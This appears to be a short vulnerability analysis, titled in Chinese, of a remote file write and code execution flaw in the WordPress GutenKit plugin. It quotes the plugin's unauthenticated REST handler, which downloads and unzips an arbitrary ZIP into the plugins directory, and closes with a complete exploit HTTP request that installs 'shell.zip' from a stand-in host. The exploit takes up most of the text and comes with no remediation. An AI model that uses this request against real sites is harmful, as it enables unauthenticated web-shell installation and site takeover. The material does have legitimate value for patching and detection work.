Wordpress GutenKit 插件远程文件写入漏洞分析(RCE)

public function install_and_activate_plugin_from_external($request) {  // The external plugin URL  $plugin_url = $request->get_param('plugin');  $slug = $request->get_param('slug');  $plugin_slug = "$slug/$slug.php";  $plugin_dir = WP_PLUGIN_DIR;  // This points to wp-content/plugins  require_once ABSPATH . 'wp-admin/includes/file.php';  require_once ABSPATH . 'wp-admin/includes/plugin.php';  require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';  WP_Filesystem();  // Download the plugin ZIP file  $temp_file = download_url($plugin_url);  if (is_wp_error($temp_file)) {    wp_send_json_error('Failed to download plugin. Error: ' . $temp_file->get_error_message());    return;  }  $command = "unzip $temp_file -d $plugin_dir";  exec($command);  // Unzip the plugin into the wp-content/plugins directory  $unzip_result = unzip_file($temp_file, $plugin_dir);  // Delete the temporary file after unzipping  unlink($temp_file);  if (is_wp_error($unzip_result)) {    wp_send_json_error('Failed to unzip plugin. Error: ' . $unzip_result->get_error_message());    return;  }  // Check if the plugin directory exists  $plugin_path = $plugin_dir . '/' . $plugin_slug;  if (!file_exists($plugin_path)) {    wp_send_json_error('The plugin directory does not exist after unzipping.');    return;  } else {    wp_send_json_success('Plugin installed successfully!');  }}

public function __construct() {  add_action('rest_api_init', function() {    register_rest_route('gutenkit/v1', 'active-plugin',                        array(                          'methods'             => WP_REST_Server::READABLE,                          'callback'            => [$this, 'action_get_active_plugin'],                          'permission_callback' => '__return_true',                        ),                       );  });  add_action('rest_api_init', function() {    register_rest_route('gutenkit/v1', 'install-active-plugin',                        array(                          'methods'             => WP_REST_Server::EDITABLE,                          'callback'            => [$this, 'install_and_activate_plugin_from_external'],                          'permission_callback' => '__return_true',                        ),                       );  });}

POST /wp-json/gutenkit/v1/install-active-plugin HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: no-cacheConnection: keep-aliveContent-Length: 50Content-Type: application/x-www-form-urlencodedHost: 127.0.0.1Origin: http://127.0.0.1Pragma: no-cacheReferer: http://127.0.0.1/wp-json/gutenkit/v1/install-active-pluginSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="129", "Not=A?Brand";v="8", "Chromium";v="129"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1plugin=http://xxx.xxx/shell.zip